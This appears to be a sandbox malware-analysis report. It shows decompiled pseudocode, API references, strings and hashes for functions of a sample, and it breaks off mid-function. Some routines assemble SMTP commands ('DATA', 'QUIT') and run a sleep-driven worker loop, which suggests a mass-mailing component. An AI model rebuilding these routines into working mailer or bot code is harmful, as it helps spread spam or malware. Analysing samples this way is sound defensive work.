
API ID: FileHandleInfoStartupType
String ID: d'C
API String ID: 2461013171-2240747681
Opcode ID: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
Instruction ID: b91d51b33192239ebbe76f0b008aa2615b8e70416bf349f0ebea2a7c65bc7c7e
Opcode Fuzzy Hash: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
Instruction Fuzzy Hash: 2851F3713047218FD720CF29E9847227BE4FB11325FA4466ED9A6CB2E2D778D425C70A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB70, Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 162
memorysleepCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BB70(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t30;
				void* _t31;
				void* _t38;
				signed char _t39;
				signed char _t44;
				void* _t48;
				void* _t51;
				signed char _t53;
				signed char _t55;
				void* _t59;
				signed int _t61;
				signed char _t69;
				signed char _t70;
				signed char _t72;
				signed char _t74;
				intOrPtr _t96;
				intOrPtr _t99;
				void* _t100;

				_t30 =  *0x4310d8; // 0x2c0d4047
				_t93 =  *((intOrPtr*)(_t100 + 0x420));
				 *((intOrPtr*)(_t100 + 0x41c)) = _t30;
				_t31 = E004074A0( *( *((intOrPtr*)(_t100 + 0x420))), 0);
				_t95 = _t31;
				if(E004074A0( *_t93, 1) + _t31 < 0x3e8 && E0040B610(_t95) < 0xbb8) {
					 *0x431c87 = 0x23;
					_t38 = HeapAlloc(GetProcessHeap(), 0, 0x80000);
					 *(_t100 + 0xc) = _t38;
					if(_t38 != 0) {
						_t39 =  *0x431c87; // 0x0
						_t69 = _t39 & 0x00000004 | 0x00000010;
						 *0x431c87 = _t39 | _t69;
						_t70 = _t69 ^ 0x0000009c;
						 *(_t100 + 0xc) = 0;
						if(E0040B610(_t95) < 0xbb8) {
							do {
								_t44 =  *0x431c87; // 0x0
								 *0x431c87 = _t44 - _t70 ^ 0x00000005;
								while(E004074A0( *_t93, 3) > 0xf) {
									Sleep(0x2710);
								}
								 *(_t100 + 0x24) = 0x80000;
								_t48 = E0040BB30( *((intOrPtr*)(_t100 + 0x14)), _t100 + 0x1c);
								_t100 = _t100 + 8;
								if(_t48 == 0) {
									 *0x431c87 = 0x52;
								} else {
									_push(_t100 + 0x18);
									_t96 = 0;
									_push(0);
									_push( *((intOrPtr*)(_t100 + 0x1c)));
									_push( *((intOrPtr*)(_t100 + 0x14)));
									_push(0x400);
									_t99 = 0;
									_push(_t100 + 0x30);
									 *((intOrPtr*)(_t100 + 0x30)) = 0;
									_t51 = E0041DEA0();
									_t100 = _t100 + 0x18;
									if(_t51 != 0) {
										do {
											 *0x431c87 = 0x23;
											_t72 = 0x3f;
											_t96 = _t96 + 1;
											if(E0040B300( *_t93, _t100 + 0x2c, 0, 0, 1) == 0) {
												_t53 =  *0x431c87; // 0x0
												_t74 = _t53 ^ 0x00000014;
												_t55 = _t53 - _t74 ^ 0x00000007;
												 *0x431c87 = _t55;
												_t72 = _t74 | _t55 & 0x0000000a;
											} else {
												 *0x431c87 =  *0x431c87 + 0xc1;
												_t99 = _t99 + 1;
												E0040B780(_t96);
											}
											_push(_t100 + 0x18);
											_push( *((intOrPtr*)(_t100 + 0x18)));
											_push( *((intOrPtr*)(_t100 + 0x1c)));
											_push( *((intOrPtr*)(_t100 + 0x18)));
											_push(0x400);
											_push(_t100 + 0x30);
											_t59 = E0041DEA0();
											_t100 = _t100 + 0x18;
										} while (_t59 != 0);
										if(_t96 != 0) {
											if(_t99 != 0) {
												 *(_t100 + 0x10) = 0;
											} else {
												 *(_t100 + 0x10) =  *(_t100 + 0x10) + 1;
											}
											E004167F0(_t99);
											if( *(_t100 + 0x10) != 3) {
												goto L19;
											}
										}
									}
								}
								L22:
								goto L23;
								L19:
								_t61 =  *0x431c87; // 0x0
								 *0x431c87 = _t61 * _t72;
								Sleep(0x2bf20);
								_t70 = 0x3f;
								 *0x431c87 = 0x23;
							} while (E0040B610(_t96) < 0xbb8);
							goto L22;
						}
						L23:
						HeapFree(GetProcessHeap(), 0,  *(_t100 + 0x10));
					}
				}
				return E00424873(0,  *((intOrPtr*)(_t100 + 0x418)));
			}

0x0040bb76
0x0040bb7d
0x0040bb88
0x0040bb8f
0x0040bb98
0x0040bba6
0x0040bbc3
0x0040bbd1
0x0040bbd9
0x0040bbdd
0x0040bbe3
0x0040bbee
0x0040bbf3
0x0040bbf8
0x0040bbfb
0x0040bc0d
0x0040bc14
0x0040bc14
0x0040bc1d
0x0040bc2e
0x0040bc35
0x0040bc44
0x0040bc53
0x0040bc5b
0x0040bc60
0x0040bc65
0x0040bd68
0x0040bc6b
0x0040bc77
0x0040bc78
0x0040bc7a
0x0040bc7b
0x0040bc7c
0x0040bc81
0x0040bc86
0x0040bc88
0x0040bc89
0x0040bc8d
0x0040bc92
0x0040bc97
0x0040bca0
0x0040bcaa
0x0040bcb4
0x0040bcb6
0x0040bcbe
0x0040bccf
0x0040bcd6
0x0040bcdb
0x0040bcdd
0x0040bce4
0x0040bcc0
0x0040bcc0
0x0040bcc7
0x0040bcc8
0x0040bcc8
0x0040bcf2
0x0040bcf7
0x0040bcf8
0x0040bcf9
0x0040bcfe
0x0040bd03
0x0040bd04
0x0040bd09
0x0040bd0c
0x0040bd12
0x0040bd16
0x0040bd1e
0x0040bd18
0x0040bd18
0x0040bd18
0x0040bd2a
0x0040bd34
0x00000000
0x00000000
0x0040bd34
0x0040bd12
0x0040bc97
0x0040bd6f
0x00000000
0x0040bd36
0x0040bd36
0x0040bd42
0x0040bd47
0x0040bd4d
0x0040bd4f
0x0040bd5b
0x00000000
0x0040bd66
0x0040bd70
0x0040bd7e
0x0040bd84
0x0040bbdd
0x0040bd9b

APIs

Part of subcall function 004074A0: WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD

Part of subcall function 0040B610: ExpandEnvironmentStringsA.KERNEL32(00000006,?,00000104,00000000), ref: 0040B70E
Part of subcall function 0040B610: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B728
Part of subcall function 0040B610: ReadFile.KERNEL32(00000000,004310B8,00000004,?,00000000), ref: 0040B744
Part of subcall function 0040B610: CloseHandle.KERNEL32(00000000), ref: 0040B760

GetProcessHeap.KERNEL32(00000000,00080000,00000001,00000000), ref: 0040BBCA
HeapAlloc.KERNEL32(00000000), ref: 0040BBD1
Sleep.KERNEL32(00002710,00000003), ref: 0040BC35
Sleep.KERNEL32(0002BF20,00000000), ref: 0040BD47
GetProcessHeap.KERNEL32(00000000,?), ref: 0040BD77
HeapFree.KERNEL32(00000000), ref: 0040BD7E

Part of subcall function 004074A0: ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Strings

G@,, xrefs: 0040BB76

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$MutexRelease$FileProcessSleep$AllocCloseCreateEnvironmentExpandFreeHandleObjectReadSingleStringsWait
String ID: G@,
API String ID: 852835205-3496681718
Opcode ID: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction ID: dbe7561af554c473106a4ec3f17350c3c00e3f78ca735fbf8e53c6946bf8a5ce
Opcode Fuzzy Hash: cb922d948c341c4ec4f5cf48101532b27f292cf533eb1d70b440bbdce6734a4b
Instruction Fuzzy Hash: 2D51B3716483415FE710DB61DC85BABBBA4EB95304F04183EF584972E2EB789405CBAE

Uniqueness

Uniqueness Score: -1.00%

Function 0042B1B9, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E0042B1B9(void* __ebx, void* __edi, void* __esi, int _a4) {
				intOrPtr _v8;
				char _v21;
				char _v22;
				struct _cpinfo _v28;
				int _v32;
				intOrPtr _t31;
				void* _t36;
				signed char _t39;
				intOrPtr _t41;
				signed int _t42;
				signed int _t44;
				void* _t48;
				signed int _t51;
				signed int _t54;
				signed int _t56;
				signed int _t59;
				signed int _t61;
				intOrPtr* _t65;
				signed int _t67;
				signed char _t68;
				signed char _t70;
				signed char _t71;
				signed int _t72;
				void* _t73;
				signed int _t76;
				int _t80;
				signed int _t81;

				_t73 = __edi;
				_t31 =  *0x4310d8; // 0x2c0d4047
				_t80 = _a4;
				_v8 = _t31;
				if(_t80 == 0) {
					L29:
					E0042B004();
				} else {
					_t67 = 0;
					_t36 = 0;
					while( *((intOrPtr*)(_t36 + 0x431930)) != _t80) {
						_t36 = _t36 + 0x30;
						_t67 = _t67 + 1;
						if(_t36 < 0xf0) {
							continue;
						} else {
							_t44 = GetCPInfo(_t80,  &_v28);
							if(_t44 != 1) {
								__eflags =  *0x432394; // 0x1
								if(__eflags == 0) {
									_t34 = _t44 | 0xffffffff;
									__eflags = _t44 | 0xffffffff;
								} else {
									goto L29;
								}
							} else {
								_t61 = 0x40;
								memset(0x432520, 0, _t61 << 2);
								asm("stosb");
								 *0x432624 = _t80;
								 *0x43250c = 0;
								if(_v28 <= 1) {
									 *0x432514 = 0;
								} else {
									if(_v22 != 0) {
										_t65 =  &_v21;
										while(1) {
											_t71 =  *_t65;
											if(_t71 == 0) {
												goto L23;
											}
											_t51 =  *(_t65 - 1) & 0x000000ff;
											_t72 = _t71 & 0x000000ff;
											while(_t51 <= _t72) {
												 *(_t51 + 0x432521) =  *(_t51 + 0x432521) | 0x00000004;
												_t51 = _t51 + 1;
												__eflags = _t51;
											}
											_t65 = _t65 + 2;
											if( *(_t65 - 1) != 0) {
												continue;
											}
											goto L23;
										}
									}
									L23:
									_t48 = 1;
									do {
										 *(_t48 + 0x432521) =  *(_t48 + 0x432521) | 0x00000008;
										_t48 = _t48 + 1;
									} while (_t48 < 0xff);
									 *0x43250c = E0042AFD5(_t80);
									 *0x432514 = 1;
								}
								_t73 = 0x432630;
								asm("stosd");
								asm("stosd");
								asm("stosd");
								L30:
								E0042B02D(0, _t73, _t80);
								_t34 = 0;
							}
						}
						goto L32;
					}
					_t56 = 0x40;
					memset(0x432520, 0, _t56 << 2);
					_t59 = _t67 + _t67 * 2 << 4;
					__eflags = _t59;
					_v32 = 0;
					asm("stosb");
					_t14 = _t59 + 0x431940; // 0x431980
					_t54 = _t14;
					do {
						_t39 =  *_t54;
						_t81 = _t54;
						while(1) {
							__eflags = _t39;
							if(_t39 == 0) {
								goto L18;
							}
							_t15 = _t81 + 1; // 0xfe
							_t68 =  *_t15;
							__eflags = _t68;
							if(_t68 != 0) {
								_t42 = _t39 & 0x000000ff;
								_t76 = _t68 & 0x000000ff;
								__eflags = _t42 - _t76;
								if(_t42 <= _t76) {
									_t70 =  *((intOrPtr*)(_v32 + 0x431928));
									do {
										 *(_t42 + 0x432521) =  *(_t42 + 0x432521) | _t70;
										_t42 = _t42 + 1;
										__eflags = _t42 - _t76;
									} while (_t42 <= _t76);
								}
								_t81 = _t81 + 2;
								__eflags = _t81;
								_t39 =  *_t81;
								continue;
							}
							goto L18;
						}
						L18:
						_v32 = _v32 + 1;
						_t54 = _t54 + 8;
						__eflags = _v32 - 4;
					} while (_v32 < 4);
					 *0x432624 = _a4;
					 *0x432514 = 1;
					_t41 = E0042AFD5(_a4);
					_t80 = _t59 + 0x431934;
					_t73 = 0x432630;
					asm("movsd");
					asm("movsd");
					 *0x43250c = _t41;
					asm("movsd");
				}
				L32:
				return E00424873(_t34, _v8);
			}

0x0042b1b9
0x0042b1bf
0x0042b1c6
0x0042b1cd
0x0042b1d1
0x0042b32b
0x0042b32b
0x0042b1d7
0x0042b1d7
0x0042b1d9
0x0042b1db
0x0042b1e3
0x0042b1e6
0x0042b1ec
0x00000000
0x0042b1ee
0x0042b1f3
0x0042b1fc
0x0042b323
0x0042b329
0x0042b339
0x0042b339
0x00000000
0x00000000
0x00000000
0x0042b202
0x0042b20a
0x0042b210
0x0042b212
0x0042b213
0x0042b219
0x0042b21f
0x0042b311
0x0042b225
0x0042b229
0x0042b22f
0x0042b232
0x0042b232
0x0042b236
0x00000000
0x00000000
0x0042b23c
0x0042b240
0x0042b2d9
0x0042b2d1
0x0042b2d8
0x0042b2d8
0x0042b2d8
0x0042b2de
0x0042b2e3
0x00000000
0x00000000
0x00000000
0x0042b2e3
0x0042b232
0x0042b2e9
0x0042b2ec
0x0042b2ee
0x0042b2ee
0x0042b2f5
0x0042b2f6
0x0042b304
0x0042b309
0x0042b309
0x0042b319
0x0042b31e
0x0042b31f
0x0042b320
0x0042b330
0x0042b330
0x0042b335
0x0042b335
0x0042b1fc
0x00000000
0x0042b1ec
0x0042b24c
0x0042b252
0x0042b257
0x0042b257
0x0042b25a
0x0042b25d
0x0042b25e
0x0042b25e
0x0042b264
0x0042b264
0x0042b266
0x0042b293
0x0042b293
0x0042b295
0x00000000
0x00000000
0x0042b26a
0x0042b26a
0x0042b26d
0x0042b26f
0x0042b271
0x0042b274
0x0042b277
0x0042b279
0x0042b27e
0x0042b284
0x0042b284
0x0042b28a
0x0042b28b
0x0042b28b
0x0042b284
0x0042b290
0x0042b290
0x0042b291
0x00000000
0x0042b291
0x00000000
0x0042b26f
0x0042b297
0x0042b297
0x0042b29a
0x0042b29d
0x0042b29d
0x0042b2a6
0x0042b2ab
0x0042b2b5
0x0042b2c0
0x0042b2c2
0x0042b2c7
0x0042b2c8
0x0042b2c9
0x0042b2ce
0x0042b2ce
0x0042b33c
0x0042b348

APIs

GetCPInfo.KERNEL32(?,?,00000000,00000000), ref: 0042B1F3

Strings

0&C, xrefs: 0042B2C2
G@,, xrefs: 0042B1BF
%C, xrefs: 0042B20B
%C, xrefs: 0042B24D
0&C, xrefs: 0042B319

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Info
String ID: %C$ %C$0&C$0&C$G@,
API String ID: 1807457897-1467469205
Opcode ID: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
Instruction ID: 3a9998ec9ef1a123eeabf32567b225ac1ab3f60614b48bddbca3475532a99bbe
Opcode Fuzzy Hash: d826fc4024eadb98fb72cef3239cdade29673fa25cc58c45b58d71fc301ab029
Instruction Fuzzy Hash: FA413670A043609ED705CF64E99427EBBA1DB09304FA864BBD985C7351C37D8A46CBED

Uniqueness

Uniqueness Score: -1.00%

Function 0042649B, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 32
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042649B() {
				struct _FILETIME _v12;
				signed int _v16;
				union _LARGE_INTEGER _v20;
				signed int _t7;
				signed int _t9;
				signed int _t10;
				signed int _t11;
				signed int _t15;
				signed int _t22;

				_t7 =  *0x4310d8; // 0x2c0d4047
				if(_t7 == 0 || _t7 == 0xbb40e64e) {
					GetSystemTimeAsFileTime( &_v12);
					_t9 = GetCurrentProcessId();
					_t10 = GetCurrentThreadId();
					_t11 = GetTickCount();
					QueryPerformanceCounter( &_v20);
					_t15 = _v16 ^ _v20.LowPart;
					_t22 = _v12.dwHighDateTime ^ _v12.dwLowDateTime ^ _t9 ^ _t10 ^ _t11 ^ _t15;
					 *0x4310d8 = _t22;
					if(_t22 == 0) {
						 *0x4310d8 = 0xbb40e64e;
					}
					return _t15;
				}
				return _t7;
			}

0x004264a1
0x004264a8
0x004264b6
0x004264c2
0x004264ca
0x004264d2
0x004264de
0x004264e7
0x004264ea
0x004264ec
0x004264f2
0x004264f4
0x004264f4
0x00000000
0x004264fe
0x00426500

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 004264B6
GetCurrentProcessId.KERNEL32 ref: 004264C2
GetCurrentThreadId.KERNEL32 ref: 004264CA
GetTickCount.KERNEL32 ref: 004264D2
QueryPerformanceCounter.KERNEL32(?), ref: 004264DE

Strings

G@,, xrefs: 004264A1, 004264EC

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID: G@,
API String ID: 1445889803-3496681718
Opcode ID: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction ID: 499c131aa02166e40c80eeea4be7d3552c431a5fdd0afb938acd6548f02731da
Opcode Fuzzy Hash: 7df64b2976afb430f347675c980c9b5000278784bc7ff6d537d0765b03531c1e
Instruction Fuzzy Hash: BCF0B271E00124ABDB20EBB5ED4859FB7F8FF08251BC60576D801E7160EA34A9558B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE80, Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 31
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041AE80(void* __ecx, void* __esi, void* __eflags) {
				intOrPtr _v4;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				intOrPtr _t14;
				void* _t17;
				void* _t29;

				_t14 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t14;
				_t29 = __ecx;
				_v12 = 0x51;
				_v11 = 0x55;
				_v10 = 0x49;
				_v9 = 0x54;
				_v8 = 0xd;
				_v7 = 0xa;
				_v6 = 0;
				_t17 = E0041BC30(lstrlenA( &_v12), _t29,  &_v12, _t16);
				_t11 =  &_v12; // 0xd
				return E00424873((0 | _t17 != 0xffffffff) - 0x00000001 & 0x00000007,  *_t11);
			}

0x0041ae83
0x0041ae88
0x0041ae92
0x0041ae94
0x0041ae99
0x0041ae9e
0x0041aea3
0x0041aea8
0x0041aead
0x0041aeb2
0x0041aec5
0x0041aeca
0x0041aee5

APIs

lstrlenA.KERNEL32 ref: 0041AEB7

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

U, xrefs: 0041AE99
Q, xrefs: 0041AE94
G@,, xrefs: 0041AE83
TI, xrefs: 0041AECA
T, xrefs: 0041AEA3
I, xrefs: 0041AE9E

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: TI$G@,$I$Q$T$U
API String ID: 1203007601-3847822237
Opcode ID: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction ID: 301686960094d4809af912793bbcb5906ed8551e1f1d0e03f2bc55d77cb3246a
Opcode Fuzzy Hash: ed0303fd2a6afdd30154ecfc88d90d6c20b075749df1e2260d2f0a960f33f61a
Instruction Fuzzy Hash: 19F0C26510C390AED301D329D84479FBFC49BD5318F48C95EF0DC86291D678C588C767

Uniqueness

Uniqueness Score: -1.00%

Function 0042B56A, Relevance: 9.1, APIs: 6, Instructions: 145
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 80%

			E0042B56A(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t42;
				void* _t43;
				short* _t45;
				int _t58;
				int _t62;
				long _t65;
				int _t67;
				void* _t69;
				short* _t77;
				short* _t78;
				int _t79;
				short* _t83;
				short* _t84;
				void* _t85;
				short* _t86;
				void* _t91;

				_t69 = __ecx;
				_push(0x1c);
				_push(0x42eff0);
				E0042664C(__ebx, __edi, __esi);
				_t83 = 0;
				_t91 =  *0x43239c - _t83; // 0x1
				if(_t91 == 0) {
					if(GetStringTypeW(1, 0x42eb1c, 1, _t85 - 0x1c) == 0) {
						_t65 = GetLastError();
						__eflags = _t65 - 0x78;
						if(_t65 == 0x78) {
							 *0x43239c = 2;
						}
					} else {
						 *0x43239c = 1;
					}
				}
				_t42 =  *0x43239c; // 0x1
				if(_t42 == 2 || _t42 == _t83) {
					_t67 =  *(_t85 + 0x1c);
					__eflags = _t67 - _t83;
					if(_t67 == _t83) {
						_t67 =  *0x4323d8; // 0x0
					}
					_t77 =  *(_t85 + 0x18);
					__eflags = _t77;
					if(_t77 == 0) {
						_t77 =  *0x4323e8; // 0x0
					}
					_t43 = E0042C8B2(_t67);
					__eflags = _t43 - 0xffffffff;
					if(_t43 != 0xffffffff) {
						__eflags = _t43 - _t77;
						if(__eflags == 0) {
							L29:
							_t78 = GetStringTypeA(_t67,  *(_t85 + 8),  *(_t85 + 0xc),  *(_t85 + 0x10),  *(_t85 + 0x14));
							__eflags = _t83;
							if(__eflags != 0) {
								_push(_t83);
								E004255BE(_t67, _t78, _t83, __eflags);
							}
							_t45 = _t78;
							goto L32;
						}
						_push(0);
						_push(0);
						_push(_t85 + 0x10);
						_push( *(_t85 + 0xc));
						_push(_t43);
						_push(_t77);
						_t83 = E0042C8F5(_t67, _t77, _t83, __eflags);
						__eflags = _t83;
						if(_t83 == 0) {
							goto L25;
						}
						 *(_t85 + 0xc) = _t83;
						goto L29;
					} else {
						goto L25;
					}
				} else {
					if(_t42 != 1) {
						L25:
						_t45 = 0;
						L32:
						return E00426687(_t45);
					}
					 *(_t85 - 0x24) = _t83;
					 *(_t85 - 0x20) = _t83;
					if( *(_t85 + 0x18) == _t83) {
						_t62 =  *0x4323e8; // 0x0
						 *(_t85 + 0x18) = _t62;
					}
					_t79 = MultiByteToWideChar( *(_t85 + 0x18), 1 + (0 |  *((intOrPtr*)(_t85 + 0x20)) != _t83) * 8,  *(_t85 + 0xc),  *(_t85 + 0x10), _t83, _t83);
					 *(_t85 - 0x28) = _t79;
					if(_t79 == 0) {
						goto L25;
					} else {
						 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
						_t68 = _t79 + _t79;
						E004254B0(_t79 + _t79 + 0x00000003 & 0xfffffffc, _t69);
						 *(_t85 - 0x18) = _t86;
						_t84 = _t86;
						 *(_t85 - 0x2c) = _t84;
						E00425F70(_t84, 0, _t79 + _t79);
						 *(_t85 - 4) =  *(_t85 - 4) | 0xffffffff;
						_t99 = _t84;
						if(_t84 != 0) {
							L15:
							_t58 = MultiByteToWideChar( *(_t85 + 0x18), 1,  *(_t85 + 0xc),  *(_t85 + 0x10), _t84, _t79);
							if(_t58 != 0) {
								 *(_t85 - 0x24) = GetStringTypeW( *(_t85 + 8), _t84, _t58,  *(_t85 + 0x14));
							}
							_t102 =  *(_t85 - 0x20);
							if( *(_t85 - 0x20) != 0) {
								_push(_t84);
								E004255BE(_t68, _t79, _t84, _t102);
							}
							_t45 =  *(_t85 - 0x24);
							goto L32;
						} else {
							_push(_t79);
							_push(2);
							_t84 = E0042AF1A(_t68, _t79, _t84, _t99);
							if(_t84 == 0) {
								goto L25;
							}
							 *(_t85 - 0x20) = 1;
							goto L15;
						}
					}
				}
			}

0x0042b56a
0x0042b56a
0x0042b56c
0x0042b571
0x0042b576
0x0042b578
0x0042b57e
0x0042b596
0x0042b5a0
0x0042b5a6
0x0042b5a9
0x0042b5ab
0x0042b5ab
0x0042b598
0x0042b598
0x0042b598
0x0042b596
0x0042b5b5
0x0042b5bd
0x0042b6ad
0x0042b6b0
0x0042b6b2
0x0042b6b4
0x0042b6b4
0x0042b6ba
0x0042b6bd
0x0042b6bf
0x0042b6c1
0x0042b6c1
0x0042b6c8
0x0042b6ce
0x0042b6d1
0x0042b6d7
0x0042b6d9
0x0042b6f9
0x0042b70c
0x0042b70e
0x0042b710
0x0042b712
0x0042b713
0x0042b718
0x0042b719
0x00000000
0x0042b719
0x0042b6db
0x0042b6dd
0x0042b6e2
0x0042b6e3
0x0042b6e6
0x0042b6e7
0x0042b6f0
0x0042b6f2
0x0042b6f4
0x00000000
0x00000000
0x0042b6f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0042b5cb
0x0042b5ce
0x0042b6d3
0x0042b6d3
0x0042b71b
0x0042b723
0x0042b723
0x0042b5d4
0x0042b5d7
0x0042b5dd
0x0042b5df
0x0042b5e4
0x0042b5e4
0x0042b608
0x0042b60a
0x0042b60f
0x00000000
0x0042b615
0x0042b615
0x0042b619
0x0042b624
0x0042b629
0x0042b62c
0x0042b62e
0x0042b635
0x0042b63d
0x0042b658
0x0042b65a
0x0042b673
0x0042b680
0x0042b688
0x0042b698
0x0042b698
0x0042b69b
0x0042b69f
0x0042b6a1
0x0042b6a2
0x0042b6a7
0x0042b6a8
0x00000000
0x0042b65c
0x0042b65c
0x0042b65d
0x0042b666
0x0042b66a
0x00000000
0x00000000
0x0042b66c
0x00000000
0x0042b66c
0x0042b65a
0x0042b60f

APIs

GetStringTypeW.KERNEL32(00000001,0042EB1C,00000001,?,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B58E
GetLastError.KERNEL32 ref: 0042B5A0
MultiByteToWideChar.KERNEL32(?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B602
MultiByteToWideChar.KERNEL32(?,00000001,00000000,0042B335,?,00000000), ref: 0042B680
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 0042B692

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: f2ccb524abb317028a062fbef1918622c297564acab94010a313d8fbf185c41e
Instruction ID: f0f8bd57be9de59517cc605bd017ac116da641922c0873b55133153ad94c77ef
Opcode Fuzzy Hash: f2ccb524abb317028a062fbef1918622c297564acab94010a313d8fbf185c41e
Instruction Fuzzy Hash: 8041C231A00235EBCB219F61FC45BAF3B65EF48760F94411AF914A7290C779C951CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD70, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0041AD70(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __ebp, void* __eflags, intOrPtr _a4) {
				intOrPtr _v4;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				void* _v24;
				intOrPtr _t27;
				intOrPtr* _t63;
				void* _t68;

				_t27 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t27;
				_v11 = 0x41;
				_v9 = 0x41;
				_v7 = 0xa;
				_v19 = 0xa;
				_v16 = 0xa;
				_t68 = __ecx;
				_v12 = 0x44;
				_v10 = 0x54;
				_v8 = 0xd;
				_v6 = 0;
				_v20 = 0xd;
				_v18 = 0x2e;
				_v17 = 0xd;
				_v15 = 0;
				if(E0041BC30(lstrlenA( &_v12), _t68,  &_v12, _t31) != 0xffffffff) {
					_push(__edi);
					_t63 = _t68 + 0x24;
					if(E0041ABE0(_t68, _t63) != 0) {
						L8:
						return E00424873(_t33, _v4);
					} else {
						if( *_t63 == 0x162) {
							if(E0040C8E0(__ebx, _a4, _t63, _t68, _t68) != 0) {
								_t33 = (0 | E0041BC30( &_v20, _t68,  &_v20, lstrlenA( &_v20)) != 0xffffffff) - 0x00000001 & 0x00000007;
								goto L8;
							} else {
